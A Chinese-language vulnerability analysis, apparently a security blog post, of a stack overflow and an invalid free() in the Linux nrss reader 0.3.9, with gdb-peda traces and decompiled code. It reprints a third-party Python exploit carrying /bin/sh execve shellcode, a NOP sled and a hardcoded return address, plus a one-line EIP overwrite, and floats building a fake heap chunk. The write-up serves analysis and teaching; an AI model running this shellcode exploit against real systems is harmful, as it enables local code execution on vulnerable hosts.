nrss reader 0.3.9本地代码执行漏洞

作者:k0shl 转载请注明出处:https://whereisk0shl.top


漏洞说明


nrss reader是linux下一款阅读文档的工具,个人感觉这里存在两个漏洞,一个是栈溢出一个是类型混淆,原版的PoC有点问题,漏洞触发时会触发在free函数中,逆向nrss源码发现它的free是free的一处栈指针,进而发现是在程序进入错误处理流程时,会调用free函数但是却勿将栈地址作为堆地址释放,而产生了crash,实际利用中,可以通过这种方式达成利用只是非常麻烦,但同样也存在栈溢出,只覆盖返回地址即可。在本文中我将沿用原exp作者的exploit,这里触发可能会发生在free中,但不影响分析。

软件下载:
https://www.exploit-db.com/apps/27d997c89340ebb6f4a1d9e1eb28ea39-nrss_0.3.9-1_i386.deb

PoC:

# gdb$ run -F $(python -c 'print "A"*256+"DCBA"')
# Starting program: /usr/bin/nrss -F $(python -c 'print "A"*256+"DCBA"')
#
# Program received signal SIGSEGV, Segmentation fault.
# --------------------------------------------------------------------------[regs]
#   EAX: 0x00000000  EBX: 0x41414141  ECX: 0x00000000  EDX: 0x0809040C  o d I t S z a p c
#   ESI: 0x41414141  EDI: 0x41414141  EBP: 0x41414141  ESP: 0xBFFFED60 EIP: 0x41424344
#   CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007BError while running hook_stop:
# Cannot access memory at address 0x41424344
# 0x41424344 in ?? ()
 
 
import os, subprocess
 
def run():
  try:
    print "# NRSS News Reader - Stack Buffer Overflow by Juan Sacco"
    print "# This Exploit has been developed using Exploit Pack"
    # NOPSLED + SHELLCODE + EIP
 
    buffersize = 256
    nopsled = "\x90"*200
    shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    eip = "\xd0\xec\xff\xbf"
    buffer = nopsled * (buffersize-len(shellcode)) + eip
    subprocess.call(["nrss -F",' ', buffer])
 
  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, NRSS Reader - Not found!"
    else:
        print "Error executing exploit"
    raise
 
def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)
 
if __name__ == '__main__':
  try:
    print "Exploit NRSS Reader v0.3.9-1 Local Overflow Exploit"
    print "Author: Juan Sacco - Exploit Pack"
  except IndexError:
    howtousage()
run()

其实触发方式用PoC注释部分gdb的方式触发更好


漏洞分析


首先执行漏洞PoC,到达漏洞现场。

*** Error in `/usr/bin/nrss': free(): invalid pointer: 0xbffff571 ***

Program received signal SIGABRT, Aborted.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x21e7 
ECX: 0x21e7 
EDX: 0x6 
ESI: 0x46 ('F')
EDI: 0xb7f4b000 --> 0x1a5da8 
EBP: 0xbffff258 --> 0xbffff318 --> 0xbffff348 --> 0x0 
ESP: 0xbfffef94 --> 0xbffff258 --> 0xbffff318 --> 0xbffff348 --> 0x0 
EIP: 0xb7fdebe0 (<__kernel_vsyscall+16>:    pop    ebp)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb7fdebdc <__kernel_vsyscall+12>:   nop
   0xb7fdebdd <__kernel_vsyscall+13>:   nop
   0xb7fdebde <__kernel_vsyscall+14>:   int    0x80
=> 0xb7fdebe0 <__kernel_vsyscall+16>:   pop    ebp
   0xb7fdebe1 <__kernel_vsyscall+17>:   pop    edx
   0xb7fdebe2 <__kernel_vsyscall+18>:   pop    ecx
   0xb7fdebe3 <__kernel_vsyscall+19>:   ret    
   0xb7fdebe4:  int3
[------------------------------------stack-------------------------------------]
0000| 0xbfffef94 --> 0xbffff258 --> 0xbffff318 --> 0xbffff348 --> 0x0 
0004| 0xbfffef98 --> 0x6 
0008| 0xbfffef9c --> 0x21e7 
0012| 0xbfffefa0 --> 0xb7dd3307 (<__GI_raise+71>:   xchg   ebx,edi)
0016| 0xbfffefa4 --> 0xb7f4b000 --> 0x1a5da8 
0020| 0xbfffefa8 --> 0xbffff044 --> 0x0 
0024| 0xbfffefac --> 0xb7dd49c3 (<__GI_abort+323>:  mov    edx,DWORD PTR gs:0x8)
0028| 0xbfffefb0 --> 0x6 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGABRT

可以看到,程序抛出了invalid pointer的错误,这个错误free了一个栈指针,误认为栈是堆,而栈中存放的是完全的数据部分,在free时错误的认为“堆”头结构被破坏造成的,下面通过bt看一下调用回溯。

Legend: code, data, rodata, value
Stopped reason: SIGABRT
0xb7fdebe0 in __kernel_vsyscall ()
gdb-peda$ bt
#0  0xb7fdebe0 in __kernel_vsyscall ()
#1  0xb7dd3307 in __GI_raise (sig=sig@entry=0x6)
    at ../nptl/sysdeps/unix/sysv/linux/raise.c:56
#2  0xb7dd49c3 in __GI_abort () at abort.c:89
#3  0xb7e116f8 in __libc_message (do_abort=do_abort@entry=0x1, 
    fmt=fmt@entry=0xb7f0765c "*** Error in `%s': %s: 0x%s ***\n")
    at ../sysdeps/posix/libc_fatal.c:175
#4  0xb7e1776a in malloc_printerr (action=<optimized out>, 
    str=0xb7f03172 "free(): invalid pointer", ptr=0xbffff57d) at malloc.c:4996
#5  0xb7e183bd in _int_free (av=0xb7f4b420 <main_arena>, p=<optimized out>, 
    have_lock=0x0) at malloc.c:3840
#6  0x0804c285 in ?? ()
#7  0x0804c5fb in ?? ()
#8  0xb7dbea63 in __libc_start_main (main=0x3, argc=0x80498f0, argv=0x0, 
    init=0x8049911, fini=0x804c2f0, rtld_fini=0x3, stack_end=0xbffff3f4)
    at libc-start.c:287
#9  0xb7fff000 in ?? () from /lib/ld-linux.so.2
Backtrace stopped: previous frame inner to this frame (corrupt stack?)

在程序领空涉及两处调用,一处在#7,一处在#6,下面先分析#7的外层函数部分。

void __cdecl __noreturn main(int a1, char **a2)
{

  v2 = a1;
  v3 = a2;
  v4 = getenv("HOME");
  setlocale(6, "");
  dword_80508CC = (int)&unk_8050360;
  sub_8049A50(v2, v3);
  v5 = dword_80508CC;
  v6 = *(_DWORD *)dword_80508CC;
  v7 = (int *)dword_80508CC;
  if ( !*(_DWORD *)dword_80508CC )
  {
    v6 = sub_804D980(v4, "/.nrss/");
    v5 = dword_80508CC;
  }
  *v7 = v6;
  v8 = *(_DWORD *)(v5 + 4);
  v9 = v5;
  if ( !v8 )
  {
    v8 = sub_804D980(*(char **)v5, "feeds/");
    v5 = dword_80508CC;
  }
  *(_DWORD *)(v9 + 4) = v8;
  v10 = *(_DWORD *)(v5 + 8);
  v11 = v5;
  if ( !v10 )
  {
    v10 = sub_804D980(*(char **)v5, "config");
    v5 = dword_80508CC;
  }
  *(_DWORD *)(v11 + 8) = v10;
  v12 = *(_DWORD *)(v5 + 12);
  v13 = v5;
  if ( !v12 )
  {
    v12 = sub_804D980(*(char **)v5, "log");
    v5 = dword_80508CC;
  }
  *(_DWORD *)(v13 + 12) = v12;
  *(_DWORD *)(v5 + 16) = sub_804D980(*(char **)v5, ".cache");
  if ( !unlink(*(const char **)(dword_80508CC + 16)) || (v14 = __errno_location(), *v14 == 2) )
  {
    if ( !unlink(*(const char **)(dword_80508CC + 12)) || (v14 = __errno_location(), *v14 == 2) )
    {
      if ( mkdir(*(const char **)dword_80508CC, 0x1EDu) )
      {
        v16 = *__errno_location();
        if ( v16 != 17 )
        {
          v17 = (unsigned int)strerror(v16);
          sub_804C1F0("Couldn't create config dir: %s\n", v17);
          sub_804C240();
          exit(-1);
        }
      }
      if ( !mkdir(*(const char **)(dword_80508CC + 4), 0x1EDu) || (v15 = *__errno_location(), v15 == 17) )
      {
        sub_804C1F0("NRSS v%s\n", (unsigned int)"0.3.9");
        sub_804E2D0(*(char **)(dword_80508CC + 8), (int)&off_80504E4, (int)&dword_80508A8);
        signal(14, handler);
        signal(28, sub_804D1F0);
        signal(2, sub_804C2A0);
        signal(17, sub_804D210);
        signal(22, (__sighandler_t)1);
        signal(13, sub_804D220);
        alarm(0x3Cu);
        sub_804B2C0(*(_DWORD *)(dword_80508CC + 76));
      }
      v19 = (unsigned int)strerror(v15);
      sub_804C1F0("Couldn't create feed dir: %s\n", v19);
      sub_804C240();
      exit(-1);
    }
  }
  sub_804C240();
  v18 = strerror(*v14);
  printf("Unlink failed: %s\n", v18);
  exit(-1);
}

其中dword_80508CC是一处结构体,里面存放了各种nrss reader需要的变量,接下来执行了一处函数 sub_8049A50(v2, v3);,这个函数实际上就是对于当前变量的一个获取操作。

int __cdecl sub_8049A50(int argc, char **argv)
{
  int result; // eax@1
  int v3; // ebx@8
  __int32 v4; // eax@8
  int v5; // eax@9
  int v6; // ebx@11
  _DWORD *v7; // ebx@13
  int v8; // ebx@14

  while ( 1 )
  {
    result = getopt(argc, argv, "hovc:D:C:L:F:");

动态跟踪一下这个过程,单步步过,在这个过程中会获取参数的内容。

gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x8054320 ("en_US.UTF-8")
EBX: 0xbffff3f4 --> 0xbffff560 ("/usr/bin/nrss")
ECX: 0x0 
EDX: 0x0 
ESI: 0x3 
EDI: 0xbffffe58 ("/root")
EBP: 0xbffff348 --> 0x0 
ESP: 0xbffff320 --> 0x3 
EIP: 0x804c33c (call   0x8049a50)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804c32b:   mov    DWORD PTR ds:0x80508cc,0x8050360
   0x804c335:   mov    DWORD PTR [esp+0x4],ebx
   0x804c339:   mov    DWORD PTR [esp],esi
=> 0x804c33c:   call   0x8049a50
   0x804c341:   mov    ebx,DWORD PTR ds:0x80508cc
   0x804c347:   mov    eax,DWORD PTR [ebx]
   0x804c349:   mov    esi,ebx
   0x804c34b:   test   eax,eax
Guessed arguments:
arg[0]: 0x3 
arg[1]: 0xbffff3f4 --> 0xbffff560 ("/usr/bin/nrss")
[------------------------------------stack-------------------------------------]
0000| 0xbffff320 --> 0x3 
0004| 0xbffff324 --> 0xbffff3f4 --> 0xbffff560 ("/usr/bin/nrss")
0008| 0xbffff328 --> 0xbffff338 --> 0xbffff360 --> 0x3 
0012| 0xbffff32c --> 0x8049340 (<_init+44>: pop    eax)
0016| 0xbffff330 --> 0x804f1e0 (push   ebp)
0020| 0xbffff334 --> 0x8050100 --> 0x8050014 --> 0x1 
0024| 0xbffff338 --> 0xbffff360 --> 0x3 
0028| 0xbffff33c --> 0xb7f4b000 --> 0x1a5da8 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0804c33c in ?? ()
gdb-peda$ x/10x $esp
0xbffff320: 0x00000003  0xbffff3f4  0xbffff338  0x08049340
0xbffff330: 0x0804f1e0  0x08050100  0xbffff360  0xb7f4b000
0xbffff340: 0x00000000  0x00000000
gdb-peda$ x/10x 0xbffff3f4
0xbffff3f4: 0xbffff560  0xbffff56e  0xbffff571  0x00000000
0xbffff404: 0xbffff672  0xbffff67d  0xbffff68e  0xbffff6a1
0xbffff414: 0xbffff6cc  0xbffff6dd
gdb-peda$ x/10x 0xbffff571
0xbffff571: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff581: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff591: 0x41414141  0x41414141

这个其实并不重要,看一下之前的源码,随后会进行一系列操作,其中也包含对结构体的初始化,在这个过程中会执行类似malloc的操作,在栈中开辟了一片空间用于存放用户传入参数。

char *__cdecl sub_804D980(char *s, char *a2)
{
  size_t v2; // edi@1
  size_t v3; // eax@1
  char *v4; // eax@1
  char *v5; // eax@1

  v2 = strlen(s);
  v3 = strlen(a2);
  v4 = (char *)sub_804D940(v2 + v3 + 1);
  v5 = strcpy(v4, s);
  return strcat(v5, a2);
}

关心到这个函数,实际上这个函数中sub_804D940就是执行malloc功能在栈中开辟空间的函数,这里会对整个内容进行初始化,这个v4初始化在栈上,接下来这个数据会考入v4,v4虽然长度是受控的,长度就是v2+v3+1,但是后面可以看到在接下来会调用strcat将v5和a2拼接,拷贝到v5的栈中,这个过程可能会造成栈溢出,接下来继续跟踪。

.text:0804C5DE loc_804C5DE:                            ; CODE XREF: main+137j
.text:0804C5DE                 mov     [esp], eax      ; errnum
.text:0804C5E1                 call    _strerror
.text:0804C5E6                 mov     dword ptr [esp], offset aCouldnTCreateF ; "Couldn't create feed dir: %s\n"
.text:0804C5ED                 mov     [esp+4], eax    ; arg
.text:0804C5F1                 call    sub_804C1F0
.text:0804C5F6                 call    sub_804C240

如果此时造成栈溢出,在没有canary等其他缓解机制的情况下可以通过控制返回地址来完成利用,就像原作者PoC给出的一样,但如果没有完成栈溢出,那么这个函数会正确退出,接下来会进入判断,对文件长度,当文件长度超过250字节的时候,程序会进入错误处理部分。

Starting program: /usr/bin/nrss -F $(python -c 'print "\x41"*256')
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xb7d7b6bc --> 0x24 ('$')
ECX: 0x0 
EDX: 0x0 
ESI: 0x8050360 --> 0x8054330 ("/root/.nrss/")
EDI: 0xbffffe58 ("/root")
EBP: 0xbffff348 --> 0x0 
ESP: 0xbffff320 --> 0x804f5b1 ("Couldn't create feed dir: %s\n")
EIP: 0x804c5f6 (call   0x804c240)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804c5e6:   mov    DWORD PTR [esp],0x804f5b1
   0x804c5ed:   mov    DWORD PTR [esp+0x4],eax
   0x804c5f1:   call   0x804c1f0
=> 0x804c5f6:   call   0x804c240
   0x804c5fb:   mov    DWORD PTR [esp],0xffffffff
   0x804c602:   call   0x80498c4 <exit@plt>
   0x804c607:   nop
   0x804c608:   nop
No argument
[------------------------------------stack-------------------------------------]
0000| 0xbffff320 --> 0x804f5b1 ("Couldn't create feed dir: %s\n")
0004| 0xbffff324 --> 0xb7f026a5 ("File name too long")
0008| 0xbffff328 --> 0xbffff338 --> 0xbffff360 --> 0x3 
0012| 0xbffff32c --> 0x8049340 (<_init+44>: pop    eax)
0016| 0xbffff330 --> 0x804f1e0 (push   ebp)
0020| 0xbffff334 --> 0x8050100 --> 0x8050014 --> 0x1 
0024| 0xbffff338 --> 0xbffff360 --> 0x3 
0028| 0xbffff33c --> 0xb7f4b000 --> 0x1a5da8 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

这部分会打印File name too long等信息,接下来会释放结构体。也就是进入下面的call函数中,也就是出现类型混淆问题的漏洞函数sub_804c240

gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x8050360 --> 0x8054330 --> 0x0 
EBX: 0xb7d7b6bc --> 0x24 ('$')
ECX: 0x8054340 --> 0x0 
EDX: 0xb7f4b42c --> 0x8054358 --> 0x6769 ('ig')
ESI: 0x8050360 --> 0x8054330 --> 0x0 
EDI: 0xbffffe58 ("/root")
EBP: 0xbffff318 --> 0xbffff348 --> 0x0 
ESP: 0xbffff310 --> 0x0 
EIP: 0x804c27a (mov    eax,DWORD PTR [eax+0x4])
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804c26d:   mov    DWORD PTR [esp],eax
   0x804c270:   call   0x8049544 <free@plt>
   0x804c275:   mov    eax,ds:0x80508cc
=> 0x804c27a:   mov    eax,DWORD PTR [eax+0x4]
   0x804c27d:   mov    DWORD PTR [esp],eax
   0x804c280:   call   0x8049544 <free@plt>
   0x804c285:   mov    eax,ds:0x80508cc
   0x804c28a:   mov    eax,DWORD PTR [eax+0x10]
[------------------------------------stack-------------------------------------]
0000| 0xbffff310 --> 0x0 
0004| 0xbffff314 --> 0xb7d7b6bc --> 0x24 ('$')
0008| 0xbffff318 --> 0xbffff348 --> 0x0 
0012| 0xbffff31c --> 0x804c5fb (mov    DWORD PTR [esp],0xffffffff)
0016| 0xbffff320 --> 0x804f5b1 ("Couldn't create feed dir: %s\n")
0020| 0xbffff324 --> 0xb7f026a5 ("File name too long")
0024| 0xbffff328 --> 0xbffff338 --> 0xbffff360 --> 0x3 
0028| 0xbffff32c --> 0x8049340 (<_init+44>: pop    eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0804c27a in ?? ()
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0xbffff571 ('A' <repeats 200 times>...)
EBX: 0xb7d7b6bc --> 0x24 ('$')
ECX: 0x8054340 --> 0x0 
EDX: 0xb7f4b42c --> 0x8054358 --> 0x6769 ('ig')
ESI: 0x8050360 --> 0x8054330 --> 0x0 
EDI: 0xbffffe58 ("/root")
EBP: 0xbffff318 --> 0xbffff348 --> 0x0 
ESP: 0xbffff310 --> 0x0 
EIP: 0x804c27d (mov    DWORD PTR [esp],eax)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804c270:   call   0x8049544 <free@plt>
   0x804c275:   mov    eax,ds:0x80508cc
   0x804c27a:   mov    eax,DWORD PTR [eax+0x4]
=> 0x804c27d:   mov    DWORD PTR [esp],eax
   0x804c280:   call   0x8049544 <free@plt>
   0x804c285:   mov    eax,ds:0x80508cc
   0x804c28a:   mov    eax,DWORD PTR [eax+0x10]
   0x804c28d:   mov    DWORD PTR [esp],eax
[------------------------------------stack-------------------------------------]
0000| 0xbffff310 --> 0x0 
0004| 0xbffff314 --> 0xb7d7b6bc --> 0x24 ('$')
0008| 0xbffff318 --> 0xbffff348 --> 0x0 
0012| 0xbffff31c --> 0x804c5fb (mov    DWORD PTR [esp],0xffffffff)
0016| 0xbffff320 --> 0x804f5b1 ("Couldn't create feed dir: %s\n")
0020| 0xbffff324 --> 0xb7f026a5 ("File name too long")
0024| 0xbffff328 --> 0xbffff338 --> 0xbffff360 --> 0x3 
0028| 0xbffff32c --> 0x8049340 (<_init+44>: pop    eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0804c27d in ?? ()
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0xbffff571 ('A' <repeats 200 times>...)
EBX: 0xb7d7b6bc --> 0x24 ('$')
ECX: 0x8054340 --> 0x0 
EDX: 0xb7f4b42c --> 0x8054358 --> 0x6769 ('ig')
ESI: 0x8050360 --> 0x8054330 --> 0x0 
EDI: 0xbffffe58 ("/root")
EBP: 0xbffff318 --> 0xbffff348 --> 0x0 
ESP: 0xbffff310 --> 0xbffff571 ('A' <repeats 200 times>...)
EIP: 0x804c280 (call   0x8049544 <free@plt>)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804c275:   mov    eax,ds:0x80508cc
   0x804c27a:   mov    eax,DWORD PTR [eax+0x4]
   0x804c27d:   mov    DWORD PTR [esp],eax
=> 0x804c280:   call   0x8049544 <free@plt>
   0x804c285:   mov    eax,ds:0x80508cc
   0x804c28a:   mov    eax,DWORD PTR [eax+0x10]
   0x804c28d:   mov    DWORD PTR [esp],eax
   0x804c290:   call   0x8049544 <free@plt>
Guessed arguments:
arg[0]: 0xbffff571 ('A' <repeats 200 times>...)
[------------------------------------stack-------------------------------------]
0000| 0xbffff310 --> 0xbffff571 ('A' <repeats 200 times>...)
0004| 0xbffff314 --> 0xb7d7b6bc --> 0x24 ('$')
0008| 0xbffff318 --> 0xbffff348 --> 0x0 
0012| 0xbffff31c --> 0x804c5fb (mov    DWORD PTR [esp],0xffffffff)
0016| 0xbffff320 --> 0x804f5b1 ("Couldn't create feed dir: %s\n")
0020| 0xbffff324 --> 0xb7f026a5 ("File name too long")
0024| 0xbffff328 --> 0xbffff338 --> 0xbffff360 --> 0x3 
0028| 0xbffff32c --> 0x8049340 (<_init+44>: pop    eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0804c280 in ?? ()
gdb-peda$ x/10x $esp
0xbffff310: 0xbffff571  0xb7d7b6bc  0xbffff348  0x0804c5fb
0xbffff320: 0x0804f5b1  0xb7f026a5  0xbffff338  0x08049340
0xbffff330: 0x0804f1e0  0x08050100
gdb-peda$ x/10x 0xbffff571
0xbffff571: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff581: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff591: 0x41414141  0x41414141

可以看到,最后free的时候的指针是一个栈地址指针,而free函数会将这个栈地址作为堆地址释放,但栈地址中只存放了字符串而没有堆头等信息,从而在free时导致crash的发生,这里一旦产生类型混淆的问题,因为栈中数据可控,我们同样可以构造fake chunk来欺骗free,当然要麻烦许多,同时我也没有尝试类似\x00是否是badchar,有待有兴趣的读者尝试。

gdb-peda$ n
*** Error in `/usr/bin/nrss': free(): invalid pointer: 0xbffff571 ***

Program received signal SIGABRT, Aborted.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x21e7 
ECX: 0x21e7 
EDX: 0x6 
ESI: 0x46 ('F')
EDI: 0xb7f4b000 --> 0x1a5da8 
EBP: 0xbffff258 --> 0xbffff318 --> 0xbffff348 --> 0x0 
ESP: 0xbfffef94 --> 0xbffff258 --> 0xbffff318 --> 0xbffff348 --> 0x0 
EIP: 0xb7fdebe0 (<__kernel_vsyscall+16>:    pop    ebp)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb7fdebdc <__kernel_vsyscall+12>:   nop
   0xb7fdebdd <__kernel_vsyscall+13>:   nop
   0xb7fdebde <__kernel_vsyscall+14>:   int    0x80
=> 0xb7fdebe0 <__kernel_vsyscall+16>:   pop    ebp
   0xb7fdebe1 <__kernel_vsyscall+17>:   pop    edx
   0xb7fdebe2 <__kernel_vsyscall+18>:   pop    ecx
   0xb7fdebe3 <__kernel_vsyscall+19>:   ret    
   0xb7fdebe4:  int3
[------------------------------------stack-------------------------------------]
0000| 0xbfffef94 --> 0xbffff258 --> 0xbffff318 --> 0xbffff348 --> 0x0 
0004| 0xbfffef98 --> 0x6 
0008| 0xbfffef9c --> 0x21e7 
0012| 0xbfffefa0 --> 0xb7dd3307 (<__GI_raise+71>:   xchg   ebx,edi)
0016| 0xbfffefa4 --> 0xb7f4b000 --> 0x1a5da8 
0020| 0xbfffefa8 --> 0xbffff044 --> 0x0 
0024| 0xbfffefac --> 0xb7dd49c3 (<__GI_abort+323>:  mov    edx,DWORD PTR gs:0x8)
0028| 0xbfffefb0 --> 0x6 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGABRT
Comments
Write a Comment